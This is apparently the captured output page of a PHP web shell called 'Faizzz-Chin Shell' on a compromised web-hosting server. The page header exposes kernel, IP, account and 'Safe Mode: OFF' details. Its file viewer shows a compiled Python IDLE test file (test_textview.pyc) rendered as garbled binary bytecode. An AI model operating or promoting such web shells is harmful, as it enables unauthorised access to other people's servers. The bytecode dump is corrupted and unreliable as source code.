SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 104.21.32.157
Your Ip: 216.73.217.61
Date Time: 2026-05-10 21:16:44
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : test_textview.cpython-35.pyc


��YfR�@s�dZddlmZed�ddlZddlZddlmZddlmZ	ddl
mZddlm
Z
d	d
�Zdd�ZGd
d�de	j�ZGdd�dej�ZGdd�dej�Zedkr�ejdd�dS)a+Test idlelib.textView.

Since all methods and functions create (or destroy) a TextViewer, which
is a widget containing multiple widgets, all tests must be gui tests.
Using mock Text would not change this.  Other mocks are used to retrieve
information about calls.

The coverage is essentially 100%.
�)�requiresZguiN)�Tk)�textView)�Func)�MboxcCst�atj�dS)N)r�rootZwithdraw�rr�D/opt/alt/python35/lib64/python3.5/idlelib/idle_test/test_textview.py�setUpModules	r
cCstj�tj�bdS)N)rZupdate_idletasks�destroyrrrr	�tearDownModules

rc@s+eZdZe�Ze�Ze�ZdS)�TVN)�__name__�
__module__�__qualname__r�	transient�grab_set�wait_windowrrrr	r
 s		r
c@s@eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TextViewTestcCs+tjj�tjj�tjj�dS)N)r
r�__init__rr)�selfrrr	�setUp's

zTextViewTest.setUpcCsYttdd�}|jtjj�|jtjj�|jtjj�|j�dS)N�Titlez	test text)r
r�
assertTruer�calledrr�Ok)r�viewrrr	�test_init_modal,s
zTextViewTest.test_init_modalcCs_ttdddd�}|jtjj�|jtjj�|jtjj�|j�dS)Nrz	test text�modalF)r
rZassertFalserrrrr)rrrrr	�test_init_nonmodal3s
zTextViewTest.test_init_nonmodalcCsUttdddd�}t�|_|j�|j|jj�|`|j�dS)Nrz	test textrF)r
rrrrrr)rrrrr	�test_ok:s
zTextViewTest.test_okN)rrrrrrr rrrr	r%src@sLeZdZedd��Zedd��Zdd�Zdd�Zd	S)
�textviewTestcCstj|_tt_dS)N)�tv�tkMessageBox�	orig_mboxr)�clsrrr	�
setUpClassEsztextviewTest.setUpClasscCs|jt_|`dS)N)r$r"r#)r%rrr	�
tearDownClassJsztextviewTest.tearDownClasscCs<tjtdddd�}|j|tj�|j�dS)Nrz	test textrF)r"Z	view_textr�assertIsInstance�
TextViewerr)rrrrr	�test_view_textOsztextviewTest.test_view_textcCs�tjjt�}tjj|d�}tjtd|dd�}|j|tj	�|j
d|jjdd��|j
�tjj|d�}tjtd|dd�}|j|�dS)	Nztest_textview.pyrrFZTestz1.0z1.endz../notthere.py)�os�path�dirname�__file__�joinr"Z	view_filerr(r)ZassertInr�getrZassertIsNone)rZtest_dirZtestfilerrrr	�test_view_fileUs
ztextviewTest.test_view_fileN)rrr�classmethodr&r'r*r1rrrr	r!Csr!�__main__�	verbosity�)�__doc__Ztest.supportrZunittestr+ZtkinterrZidlelibrr"Zidlelib.idle_test.mock_idlerZidlelib.idle_test.mock_tkrr
rr)r
ZTestCaserr!r�mainrrrr	�<module>	s
 
© 2026 Faizzz-Chin